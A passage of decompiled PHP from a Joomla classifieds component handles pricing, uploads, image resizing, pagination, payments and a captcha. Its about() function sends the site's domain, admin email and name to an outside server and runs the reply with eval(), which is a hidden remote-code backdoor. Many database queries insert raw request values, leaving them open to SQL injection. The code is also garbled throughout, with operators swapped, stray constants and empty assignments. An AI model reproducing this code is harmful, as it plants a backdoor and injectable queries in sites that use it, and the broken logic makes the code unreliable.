$mystring[$k] = substr( $v, 0, 9 ); continue; } } if (intval( $niaz_config->fldField42 ) < count( $mystring )) { $mystring = array_slice( $mystring, 0, intval( $niaz_config->fldField42 ) ); $str = implode( ' ', $mystring ); } $data['fldShort'] = $str; if (( intval( $data['fldID'] ) && intval( $niaz_config->fldField60 ) )) { $U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : array( )); $X = 1060; $A = 1060; $fldEdit = intval( $data['fldEdit'] ); foreach ($U as $k => $v) { $D = explode( ':', $v ); $A = $D[1]; if (( $X < $fldEdit && $fldEdit <= $D[0] )) { $cal = $cal & $A; } $X = $D[0]; } if ($X < $fldEdit) { $cal = $cal & $A; } } $U = ($niaz_config->fldDay ? explode( '*', $niaz_config->fldDay ) : NULL); $x = 1060; while ($x < count( $U )) { $D = explode( ':', $U[$x] ); if ($data['fldDay'] = $D[0]) { $cal = $cal & $D[1]; } ++$x; } switch ($data['fldStar']) { case '1': { $cal = $cal & intval( $niaz_config->fld1Star ); break; } case '2': { $cal = $cal & intval( $niaz_config->fld2Star ); break; } case '3': { $cal = $cal & intval( $niaz_config->fld3Star ); break; } case '4': { $cal = $cal & intval( $niaz_config->fld4Star ); break; } case '5': { $cal = $cal & intval( $niaz_config->fld5Star ); break; } case '6': { $cal = $cal & intval( $niaz_config->fld6Star ); break; } case '7': { $cal = $cal & intval( $niaz_config->fld7Star ); } } if ($data['fldShowLink'] = '1') { $cal = $cal & $niaz_config->fldLink; } if ($niaz_config->fldField50 != '') { $U = explode( '*', $niaz_config->fldField50 ); $FN = array( ); $FT = array( ); $query = 'SHOW FULL COLUMNS FROM #__niaz_prod'; $db->setQuery( $query ); $Cols = $db->loadObjectList( ); $i = 1060; foreach ($Cols as $h) { if (substr( $h->Field, 0, 8 ) = 'fldExtra') { if ($h->Comment) { $FT[$i]['Field'] = $h->Field; $FT[$i]['Type'] = $h->Type; ++$i; continue; } continue; } } foreach ($U as $x => $z) { $D = explode( ':', $z ); $FN[$x]['title'] = $D[0]; $FN[$x]['type'] = $D[1]; $FN[$x]['price'] = $D[2]; } foreach ($FN as $k => $v) { $js_price[$k] = 0; switch ($FN[$k]['type']) { case 3: { $From = array( 'enum(', 'ENUM(', '\\')', '\\'' ); $To = array( '', '', '\\'', '' ); $Value = str_replace( $From, $To, $FT[$k]['Type'] ); $Value = explode( ',', $Value ); } } $js_id[$k] = $FT[$k]['Field']; $js_price[$k] = $FN[$k]['price']; } } foreach ($js_id as $k => $v) { if (( isset( $data[$v] ) && $data[$v] != '' )) { $cal = $cal & $js_price[$k]; continue; } } $MaxImage = (strlen( $data['fldImage'] ) ? explode( ',', $data['fldImage'] ) : array( )); $MaxFilm = (strlen( $data['fldFilm'] ) ? explode( ',', $data['fldFilm'] ) : array( )); if (strlen( $niaz_config->fldField41 )) { $X = 1060; $C = 1060; $U = explode( '*', $niaz_config->fldField41 ); $Last = 1060; $x = 1060; while ($x < count( $U )) { $D = explode( ':', $U[$x] ); $X = $D[0]; if (( $Last < count( $MaxImage ) && count( $MaxImage ) <= $X )) { $C = $D[1]; } $Last = $X; ++$x; } $cal = $cal & $C; } if (strlen( $niaz_config->fldField46 )) { $X = 1060; $C = 1060; $U = explode( '*', $niaz_config->fldField46 ); $Last = 1060; $x = 1060; while ($x < count( $U )) { $D = explode( ':', $U[$x] ); $X = $D[0]; if (( $Last < count( $MaxFilm ) && count( $MaxFilm ) <= $X )) { $C = $D[1]; } $Last = $X; ++$x; } $cal = $cal & $C; } switch ($data['fldVije']) { case '1': { $cal = $cal & intval( $niaz_config->fldVijeText ); break; } case '2': { $cal = $cal & intval( $niaz_config->fldVijePic ); } } switch ($data['fldPage']) { case '1': { $cal = $cal & intval( $niaz_config->fldSubGroupFP ); break; } case '2': { $cal = $cal & intval( $niaz_config->fldGroupFP ); break; } case '3': { $cal = $cal & intval( $niaz_config->fldSiteFP ); } } $U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL); $data['fldMoney'] = $cal; } function SaveFile($fldDate, $File, $table, $id) { global $option; global $my; global $sectionState; global $fldCountry; global $niaz_config; $db = JFactory::getdbo( ); jimport( 'joomla.filesystem.file' ); jimport( 'joomla.filesystem.folder' ); require_once( JPATH_COMPONENT_SITE . DS . 'func' . DS . 'file.php' ); $ReSize = $niaz_config->fldField15; $ReSizeThumb = $niaz_config->fldField16; $MyFile = NULL; $FType['fldFilm'] = array( ); $FType['fldImage'] = array( ); if (strlen( $niaz_config->fldField45 )) { $U = explode( '*', $niaz_config->fldField45 ); $X = array( ); foreach ($U as $k => $v) { $D = explode( ':', $v ); $X[] = $D[0]; } $FType['fldFilm'] = $X; } if (strlen( $niaz_config->fldField44 )) { $U = explode( '*', $niaz_config->fldField44 ); $X = array( ); foreach ($U as $k => $v) { $D = explode( ':', $v ); $X[] = $D[0]; } $FType['fldImage'] = $X; } $destfolder = JPATH_ROOT . ( '/components/' . $option . '/files/' . $table ); JFolder::create( $destfolder ); $destfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate ) . DS . ( '' . $id ); $destfolder = str_replace( '/', DS, $destfolder ); $destfolder = str_replace( '\', DS, $destfolder ); JFolder::create( $destfolder ); if (is_array( $_FILES[$File]['name'] )) { $X = NULL; $i = 780; while ($i < count( $_FILES[$File]['name'] )) { $T = explode( '.', $_FILES[$File]['name'][$i] ); if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldImage'] )) { if (strlen( $_FILES[$File]['name'][$i] )) { $A = explode( '.', $_FILES[$File]['name'][$i] ); $AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1]; $MyFile = strtolower( time( ) . $AE ); if ($ReSize) { $fu = self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile, $ReSize, 'gd2', '75' ); } else { $fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile ); } if ($fu) { $X[] = $MyFile; } if ($ReSizeThumb) { self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, $ReSizeThumb, 'gd2', '75' ); } else { self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, '110', 'gd2', '75' ); } } } else { if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldFilm'] )) { if (strlen( $_FILES[$File]['name'][$i] )) { $A = explode( '.', $_FILES[$File]['name'][$i] ); $AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1]; $MyFile = strtolower( time( ) . $AE ); $fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile ); if ($fu) { $X[] = $MyFile; } } } } ++$i; } $MyFile = (is_array( $X ) ? implode( ',', $X ) : NULL); } return $MyFile; } function resizeImage($src_file, $dest_file, $new_width, $method, $dest_qual) { $debugoutput = ''; $src_file = JPath::clean( $src_file ); $dest_file = JPath::clean( $dest_file ); $imagetype = array( 1 => 'GIF', 2 => 'JPG', 3 => 'PNG', 4 => 'SWF', 5 => 'PSD', 6 => 'BMP', 7 => 'TIFF', 8 => 'TIFF', 9 => 'JPC', 10 => 'JP2', 11 => 'JPX', 12 => 'JB2', 13 => 'SWC', 14 => 'IFF' ); $imginfo = getimagesize( $src_file ); if ($imginfo = null) { exit( JText::_( 'JG_UPLOAD_FILE_NOT_FOUND' ) ); } $imginfo[2] = $imagetype[$imginfo[2]]; if (( ( ( $imginfo[2] != 'JPG' && $imginfo[2] != 'PNG' ) && $imginfo[2] != 'GIF' ) && ( $method = 'gd1' || $method = 'gd2' ) )) { exit( JText::_( 'JG_UPLOAD_GD_ONLY_JPG_PNG' ) ); } $srcWidth = $imginfo[0]; $srcHeight = $imginfo[1]; $debugoutput &= JText::_( 'JG_UPLOAD_CREATE_THUMBNAIL_FROM' ) . ( ' ' . $imginfo['2'] . ', ' . $imginfo['0'] . ' x ' . $imginfo['1'] . '...<br />' ); $ratio = $srcWidth \ $new_width; $testheight = $srcHeight \ $ratio; $ratio = max( $ratio, 1 ); $destWidth = (int)$srcWidth \ $ratio; $destHeight = (int)$srcHeight \ $ratio; switch ($method) { case 'gd1': { if (!function_exists( 'imagecreatefromjpeg' )) { JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' ); $debugoutput &= ; return false; } if ($imginfo[2] = 'JPG') { $src_img = imagecreatefromjpeg( $src_file ); } else { if ($imginfo[2] = 'PNG') { $src_img = imagecreatefrompng( $src_file ); } else { $src_img = imagecreatefromgif( $src_file ); } } if (!$src_img) { $ERROR = $lang_errors['invalid_image']; return false; } $dst_img = imagecreate( $destWidth, $destHeight ); imagecopyresized( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight ); if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) { $dir = dirname( $dest_file ); JoomFile::chmod( $dir, 511 ); imagejpeg( $dst_img, $dest_file, $dest_qual ); JoomFile::chmod( $dir, 493 ); } imagedestroy( $src_img ); imagedestroy( $dst_img ); break; } case 'gd2': { if (!function_exists( 'imagecreatefromjpeg' )) { JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' ); $debugoutput &= ; return false; } if (!function_exists( 'imagecreatetruecolor' )) { JText::_( 'JG_UPLOAD_GD_NO_TRUECOLOR' ); $debugoutput &= ; return false; } if ($imginfo[2] = 'JPG') { $src_img = imagecreatefromjpeg( $src_file ); } else { if ($imginfo[2] = 'PNG') { $src_img = imagecreatefrompng( $src_file ); } else { $src_img = imagecreatefromgif( $src_file ); } } if (!$src_img) { $ERROR = $lang_errors['invalid_image']; return false; } $dst_img = imagecreatetruecolor( $destWidth, $destHeight ); JoomFile::fastimagecopyresampled( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight ); if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) { $dir = dirname( $dest_file ); JoomFile::chmod( $dir, 511 ); imagejpeg( $dst_img, $dest_file, $dest_qual ); JoomFile::chmod( $dir, 493 ); } imagedestroy( $src_img ); imagedestroy( $dst_img ); break; } case 'im': { $disabled_functions = explode( ',', ini_get( 'disabled_functions' ) ); foreach ($disabled_functions as $disabled_function) { if (trim( $disabled_function ) = 'exec') { return false; } } if (!empty( $niaz_config->jg_impath )) { $convert_path = $niaz_config->jg_impath . 'convert'; } else { $convert_path = 'convert'; } $commands = ' -resize "' . $destWidth . 'x' . $destHeight . '" -quality "' . $dest_qual . '" -unsharp "3.5x1.2+1.0+0.10"'; $convert = $convert_path . $commands . ' "' . $src_file . '" "' . $dest_file . '"'; $return_var = null; $dummy = null; @exec( $convert, $dummy, $return_var ); if ($return_var != 0) { $dir = dirname( $dest_file ); JoomFile::chmod( $dir, 511 ); @exec( $convert, $dummy, $return_var ); JoomFile::chmod( $dir, 493 ); if ($return_var != 0) { return false; } } break; } default: { echo JText::_( 'JGA_UPLOAD_UNSUPPORTED_RESIZING_METHOD' ); break; } } JPath::setpermissions( $dest_file ); $imginfo = getimagesize( $dest_file ); if (!$imginfo) { return false; } return true; } function about($Mytask = 'about') { global $option; $app = JFactory::getapplication( ); $url = 'http://alirezabalvardi.ir/newnic/licence_manager/register_licence.php'; $MailFrom = $app->getCfg( 'mailfrom' ); $FromName = $app->getCfg( 'fromname' ); $SiteName = $app->getCfg( 'sitename' ); $data = 'product=' . $option . '&task=' . $Mytask . '&domain=' . JURI::base( ) . ( '&sitemail=' . $MailFrom . '&sitename=' . $SiteName . '&ver=2.5.38' ); $ch = curl_init( ); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_POSTFIELDS, $data ); curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); $body = curl_exec( $ch ); curl_close( $ch ); if (stristr( $body, '###' )) { $body = explode( '###', $body ); echo $body[0]; eval( $body[1] ); return null; } echo $body; } function PagesLinks($limitstart, $limit, $total, $method = 0, $fn = '') { global $option; global $my; global $fldCountry; global $sectionState; global $option; global $Cat; global $SubCat; global $SubCatAll; $XM = 'href="'; $XME = ''; if ($method) { $XM = 'onclick="javascript:LoadClick(\''; $XME = '\',\'' . $fn . '\');'; } $X = ceil( $total \ $limit ); $view = JRequest::getvar( 'view' ); $key = JRequest::getvar( 'key' ); $CountryNo = (int)JRequest::getvar( 'CountryNo', 0 ); $StateNo = (int)JRequest::getvar( 'StateNo', 0 ); $catid = JRequest::getint( 'catid' ); $subcatid = JRequest::getint( 'subcatid' ); $url = 'index.php?option=' . $option; $view = JRequest::getvar( 'view' ); $view = str_replace( stristr( $view, '/' ), '', $view ); if ($CountryNo) { $url &= '&CountryNo=' . $CountryNo . ':' . $fldCountry[$CountryNo]; } if ($StateNo) { $url &= '&StateNo=' . $StateNo . ':' . $sectionState[$StateNo][2]; } if ($catid) { $url &= '&catid=' . $catid . ':' . $Cat[$catid]; } if ($subcatid) { $url &= '&subcatid=' . $subcatid . ':' . $SubCat[$subcatid]; } if ($key) { $url &= '&key=' . $key; } if ($X <= 1) { return ''; } $i = 787; if (8 + $limit < $limitstart) { $i = $limitstart - 2 + $limit; $i \= 817; $i = round( $i ); if ($X - $i < 10) { $i = $X - 10; } } $Current = $limitstart \ 30; $j = $i & 10; $html = ''; $html &= '<div class="Mybutton"><div class="page">' . ' '; $html &= '<div class="stsrt">' . ' '; if ($limitstart) { $html &= '<a ' . $XM . JRoute::_( '' . $url ) . '/start/0' . $XME . '">' . JText::_( 'MYPN_START' ) . '</a>' . ' '; } else { $html &= '<span>' . JText::_( 'MYPN_START' ) . '</span>' . ' '; } $html &= '</div>' . ' '; $html &= '</div>' . ' '; $html &= '</div>'; $html &= '<div class="Mybutton"><div class="page">' . ' '; $html &= '<div class="prev">' . ' '; if ($limitstart) { $html &= '<a ' . $XM . JRoute::_( '' . $url . ($limitstart - $limit ? '&limitstart=' . ( $limitstart - $limit ) : '/start/0') ) . $XME . '">' . JText::_( 'MYPN_PREV' ) . '</a>' . ' '; } else { $html &= '<span>' . JText::_( 'MYPN_PREV' ) . '</span>' . ' '; } $html &= '</div>' . ' '; $html &= '</div>' . ' '; $html &= '</div>' . ' '; $html &= '<div class="Mybutton"><div class="page">' . ' '; while (( $i < $X && $i < $j )) { if ($limitstart = $i + $limit) { $Current = $i; $html &= '<span>' . ( $i & 1 ) . '</span>' . ' '; } else { $html &= '<a ' . $XM . JRoute::_( '' . $url . ($i ? '&limitstart=' . $i + $limit : '/start/0') ) . $XME . '">' . ( $i & 1 ) . '</a>' . ' '; } ++$i; } $html &= '</div></div>' . ' '; $html &= '<div class="Mybutton"><div class="page">' . ' '; $html &= '<div class="next">' . ' '; if ($limitstart < ( $X - 1 ) + $limit) { $html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $Current & 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_NEXT' ) . '</a>' . ' '; } else { $html &= '<span>' . JText::_( 'MYPN_NEXT' ) . '</span>' . ' '; } $html &= '</div>' . ' '; $html &= '</div>' . ' '; $html &= '</div>' . ' '; $html &= '<div class="Mybutton"><div class="page">' . ' '; $html &= '<div class="end">' . ' '; if ($limitstart < ( $X - 1 ) + $limit) { $html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $X - 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_END' ) . '</a>' . ' '; } else { $html &= '<span>' . JText::_( 'MYPN_END' ) . '</span>' . ' '; } $html &= '</div>' . ' '; $html &= '</div>' . ' '; $html &= '</div>'; return $html; } function LoadImage($fldDate, $fldID, $fldImage, $E = 0, $PName = '') { global $option; global $my; global $sectionState; global $fldCountry; global $niaz_config; echo ' <div width="100%" class="border"> '; $html = ''; $A = explode( ',', $fldImage ); $CountPic = count( $A ); foreach ($A as $k => $v) { $XPic = JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v ); $html &= '<div class="banner" id="XImage_' . $v . '"> <a href="' . JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/' . $v . '" rel="{handler: \'image\'}" class="modal" alt="' . $PName . '" title="' . $PName . '"> <img border="0" src="' . $XPic . '" id="YImage_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" /> </a>' ); if ($E) { $html &= '<br /> <label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldImage][]" class="input" value="' . $v . '" onclick="ReloadImage(\'XImage_' . $v . '\',this.checked);" /><label> ' ); } $html &= '</div>'; } echo $html; echo ' </div> '; return count( $A ); } function LoadFilm($fldDate, $fldID, $fldFilm, $E = 0, $PName = '') { global $option; global $my; global $sectionState; global $fldCountry; global $niaz_config; $secid = JRequest::getvar( 'secid' ); echo ' <div width="100%" class="border"> '; $html = ''; $A = explode( ',', $fldFilm ); $CountPic = count( $A ); foreach ($A as $k => $v) { $T = explode( '.', $v ); $T = strtolower( $T[count( $T ) - 1] ); $FT = array( 'doc', 'docx', 'xls', 'swf', 'flv', 'mpg', 'txt', 'pdf', 'zip', 'rar', 'mp3' ); $FTPic = array( 'jpg', 'gif' ); $Tx = $T; if (!in_array( $T, $FT )) { $Tx = 'unknown'; } $XPic = JURI::base( ) . ( 'components/' . $option . '/images/type/' . $Tx . '.png' ); if (in_array( $T, $FTPic )) { $XPic = JURI::base( ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v ); } $html &= '<div class="banner" id="XFile_' . $v . '"> <a href="' . JRoute::_( 'index.php?option=' . $option . '&view=film&id=' . $fldID . '&X=' . $k . '&no_html=1' . (strlen( $secid ) ? '&secid=' . $secid : '') ) . ( '" rel="{handler: \'iframe\', size: {x : 620, y: 420}}" class="modal" alt="' . $PName . '" title="' . $PName . '"> <img border="0" src="' . $XPic . '" id="YFilm_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" /> </a>' ); if ($E) { $html &= '<br /> <label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldFilm][]" class="input" value="' . $v . '" onclick="ReloadFilm(\'XFile_' . $v . '\',this.checked);" /><label> ' ); } $html &= '</div>'; } echo $html; echo ' </div> '; return count( $A ); } function LoadKeys($id) { global $option; $db = JFactory::getdbo( ); $query = 'SELECT fldKID FROM #__niaz_key_index WHERE fldPID=' . $id; $db->setQuery( $query ); $KeyArray = $db->loadResultArray( ); $query = 'SELECT fldKey FROM #__niaz_key WHERE fldID IN(' . implode( ',', $KeyArray ) . ') AND published = 1'; $db->setQuery( $query ); $Keys = $db->loadResultArray( ); if (( is_array( $Keys ) && count( $Keys ) )) { foreach ($Keys as $k => $v) { $Keys[$k] = '<a class="niaz_key" href="' . JRoute::_( 'index.php?option=' . $option . '&key=' . $v ) . '">' . $v . '</a> '; } return implode( ',', $Keys ); } } function AjaxStat() { global $option; global $my; global $sectionState; global $fldCountry; global $option; global $mainframe; global $app; global $niaz_config; global $mainframe; global $mosconfig_live_site; $t = (int)JRequest::getvar( 't', 0 ); $id = (int)JRequest::getvar( 'id', 0 ); $fldStat = (int)JRequest::getvar( 'fldStat', 0 ); if (( $t = 0 || $id = 0 )) { return null; } $db = JFactory::getdbo( ); switch ($t) { case 1: { $query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id; $db->setQuery( $query ); $total = $db->loadResult( ); echo ' <h3>'; echo JText::_( 'STAT_DESC' ); echo '</h3> <form method="post" name="EForm"> '; $O = array( ); $i = 475; while ($i < 6) { $O[] = JHTML::_( 'select.option', $i, JText::_( 'NIAZ_STAT' . $i ) ); ++$i; } echo JHTML::_( 'select.genericlist', $O, 'fldStat', 'class="input"', 'value', 'text', $total ); echo ' <input type="submit" value="'; echo JText::_( 'ACCEPT' ); echo '" class="button" /> <input type="hidden" value="2" name="t" /> </form> '; break; } case 2: { $query = 'UPDATE #__niaz_prod SET fldStat=' . $fldStat . ' WHERE fldID=' . $id; $db->setQuery( $query ); $db->Query( ); echo JText::_( 'NIAZ_STAT' ) . ':' . JText::_( 'NIAZ_STAT' . $fldStat ); break; } case 3: { $query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id; $db->setQuery( $query ); $total = $db->loadResult( ); echo ($total ? JText::_( 'NIAZ_STAT' . $total ) : JText::_( 'پیش فرض سیستم' )); } } } function IsUniqueName($T = '', $I = 0) { global $option; $db = JFactory::getdbo( ); $fldPName = trim( JRequest::getvar( 'q', $T ) ); $fldPName = self::myquestfarsi( $fldPName ); $fldID = JRequest::getvar( 'v', $I ); $query = 'SELECT COUNT(fldPName) AS C FROM #__niaz_prod WHERE fldPName=\'' . $fldPName . '\' AND fldID <> ' . $fldID; $db->setQuery( $query ); $total = intval( $db->loadResult( ) ); if (strlen( $T )) { return $total; } echo $total; } function AjaxDelete() { global $option; global $my; global $sectionState; global $fldCountry; global $option; global $mainframe; global $app; global $niaz_config; global $mainframe; global $mosconfig_live_site; $db = JFactory::getdbo( ); $X = JRequest::getvar( 'TID', null, 'POST' ); $id = (int)JRequest::getvar( 'id', 0, 'POST' ); if (is_null( $X )) { echo 0; exit( ); } if (( !intval( $niaz_config->fldField28 ) || !$id )) { echo 0; exit( ); } $query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND fldOwner = ' . $my->id; $db->setQuery( $query ); $row = $db->loadObject( ); if (count( $row )) { self::reverseusecredit( $row, $db ); NiazController::deletefolder( 'prod' . DS . $row->fldDate, $row->fldID ); SendingMail( 5, $row ); $query = 'DELETE FROM #__niaz_key_index WHERE fldPID = ' . $row->fldID; $db->setQuery( $query ); $db->Query( ); $query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id . ' AND fldOwner = ' . $my->id; $db->setQuery( $query ); if ($db->Query( )) { NiazController::deletefolder( 'prod', $id ); } } $query = 'SELECT COUNT(*) FROM #__niaz_prod WHERE fldID=' . $id; $db->setQuery( $query ); $total = $db->loadResult( ); echo ($total ? 0 : 1); exit( ); } function Captcha() { global $option; $d1 = rand( 1, 9 ); $d = array( '*', '+', '-' ); $d3 = $d2 = $d[rand( 0, 2 )]; if (( $d2 = '-' && $d1 < $d3 )) { $x = $d1; $d1 = $d3; $d3 = $x; } eval( '$d = ' . $d1 . $d2 . $d3 . ';' ); $RandomStr = md5( rand( 1111, 9999 ) ); strtoupper( substr( $RandomStr, 0, 5 ) ); $ResultStr = rand( 1, 9 ); $ResultStr = '' . $d1 . $d2 . $d3 . '=?'; $NewImage = imagecreatefromjpeg( JPATH_COMPONENT . DS . 'images' . DS . 'back.jpg' ); $LineColor = imagecolorallocate( $NewImage, 233, 239, 239 ); $TextColor = imagecolorallocate( $NewImage, 0, 0, 0 ); imageline( $NewImage, 1, 1, 40, 40, $LineColor ); imageline( $NewImage, 1, 100, 60, 0, $LineColor ); imagestring( $NewImage, 10, 10, 4, $ResultStr, $TextColor ); $_SESSION['captcha'] = $d; header( 'Content-type: image/jpeg' ); imagejpeg( $NewImage ); exit( ); } function link() { global $option; global $my; global $mainframe; global $app; global $niaz_config; global $mainframe; $db = JFactory::getdbo( ); $id = JRequest::getvar( 'lid', 0 ); $query = 'SELECT fldLink FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1'; $db->setQuery( $query ); $fldLink = $db->loadResult( ); if (strlen( $fldLink )) { $query = 'UPDATE #__niaz_prod SET fldCountClickLink = fldCountClickLink +1 WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1 '; $db->setQuery( $query ); $db->query( ); header( 'Location: http://' . str_replace( 'http://', '', $fldLink ), 0 ); return null; } $this->setRedirect( $_SERVER['HTTP_REFERER'] ); } function showup() { global $option; global $niaz_config; global $my; $db = JFactory::getdbo( ); $x = JRequest::getvar( 'x' ); $id = JRequest::getvar( 'id' ); $query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=0'; $db->setQuery( $query ); $row = $db->loadObject( ); if (!count( $row )) { return null; } md5( $id . $row->fldDate . 'P' ); $X = ; md5( $id . $row->fldDate . 'D' ); $Y = ; JHTML::_( 'date', 'now', 'Y/m/d' ); $Date = ; $query = 'SELECT fldTafavot FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner; $db->setQuery( $query ); $fldTafavot = $db->loadResult( ); $query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . ' AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner; $db->setQuery( $query ); $db->Query( ); if ($x = $X) { if (intval( $fldTafavot )) { $query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - ' . $fldTafavot . ' WHERE fldUID=' . $row->fldOwner; $db->setQuery( $query ); $db->Query( ); } $A = 'published=1,fldStartTime=NOW(),fldAdmin=' . $my->id; if (( ( $row->fldPayMethod && $row->fldPay = 2 ) && $row->fldMoney )) { $A = 'published=1,fldStartTime=NOW(),fldPay = 1,fldAdmin=' . $my->id; } $query = 'UPDATE #__niaz_prod SET ' . $A . ' WHERE fldID=' . $id; $db->setQuery( $query ); if ($db->Query( )) { if (( $row->fldPay != 1 && 0 < $row->fldMoney )) { $query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\''; $db->setQuery( $query ); $fldFactor = intval( $db->loadResult( ) ); if (!$fldFactor) { $query = 'SELECT MAX(fldFactor) FROM #__niaz_payment'; $db->setQuery( $query ); $fldFactor = intval( $db->loadResult( ) ); } ++$fldFactor; JText::_( 'ACCEPT_MODIR' ); $fldDesc = ; $fldDescX = $fldDesc; $fldCredit = 736; if (intval( $fldTafavot )) { $fldDescX = $fldDesc . '(' . JText::sprintf( 'KASR_ETEBAR', Comma( $fldTafavot ) . ' ' . $niaz_config->fldCurrency ) . ')'; $row += 'fldMoney'; = $fldTafavot; $fldCredit = $fldTafavot; } $query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'' . $row->fldPayMethod . '\',\'' . $row->fldOrderNumber . '\',' . $row->fldMoney . ',' . $fldCredit . ',' . $row->fldOwner . ',\'' . $fldDescX . '\',\'' . $row->fldPayDate . '\',' . $fldFactor . ')'; $db->setQuery( $query ); $db->Query( ); } echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_PUBLISHED' ) . '</strong></div>'; SendingMail( 3, array( 'fldID' => $row->fldID, 'fldEMAil' => $row->fldEMAil, 'fldStartTime' => $Date, 'fldPName' => $row->fldPName ) ); return null; } } else { if ($x = $Y) { $query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ',fldTafavot = fldTafavot - ' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner; $db->setQuery( $query ); $db->Query( ); $query = 'SELECT MAX(fldFactor) FROM #__niaz_payment'; $db->setQuery( $query ); $fldFactor = intval( $db->loadResult( ) ) & 1; JText::_( 'REVERSE_CREDIT_2' ); $fldDesc = ; $query = 'INSERT INTO #__niaz_payment VALUES(0,' . $id . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');'; $db->setQuery( $query ); $db->Query( ); $query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id; $db->setQuery( $query ); if ($db->Query( )) { echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_DELETED' ) . '</strong></div>'; NiazController::deletefolder( 'prod', $id ); SendingMail( 5, $row ); } } } } function DeleteFolder($table, $id) { global $option; jimport( 'joomla.filesystem.file' ); jimport( 'joomla.filesystem.folder' ); $destfolder = JPATH_ROOT . DS . 'components' . DS . ( '' . $option ) . DS . 'files' . DS . $table . DS . $id; if (is_dir( $destfolder )) { JFolder::delete( $destfolder ); } } function ShowEdit() { global $option; global $niaz_config; if (!strlen( $niaz_config->fldField59 )) { return ''; } $U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL); echo ' <table width="100%" id="adminlist" class="adminlist" border="1"> <thead> <tr> <th>#</th> <th>'; echo JText::_( 'NIAZ_EDIT_COUNT' ); echo '</th> <th>'; echo JText::_( 'NIAZ_ADMIN_FEE' ); echo '('; echo $niaz_config->fldCurrency; echo ')</th> </tr> </thead> <tbody> '; $it = 360; $x = 360; while ($x < count( $U )) { $D = explode( ':', $U[$x] ); echo ' <tr class="'; echo 'row' . ++$it & 2; echo '"> <td>'; echo $it; echo '</td> <td>'; echo $D[0]; echo '</td> <td>'; echo ($D[1] ? $D[1] : '<font class="red"><strong> ' . JText::_( 'NIAZ_FREE' ) . ' </strong></font>'); echo '</td> </tr> '; ++$x; } echo ' </tbody> </table> '; } function MyQuestFarsi($str) { $str = str_replace( 'ي', 'ی', $str ); $str = str_replace( 'ك', 'ک', $str ); $str = str_replace( 'هٔ', 'هی', $str ); $str = str_replace( '\\', '', $str ); return $str; } function CleanSQL($where) { $forbidden = array( 'UNION', 'SELECT', 'DELETE', 'ALTER', 'JOIN', 'DROP', 'TRUNCATE', 'UPDATE', 'CREATE' ); foreach ($forbidden as $v) { $A = strpos( strtoupper( $where ), $v ); if ($A) { $B = substr( $where, $A, strlen( $v ) ); $where = str_replace( $B, 'XXXXX', $where ); continue; } } return $where; } function 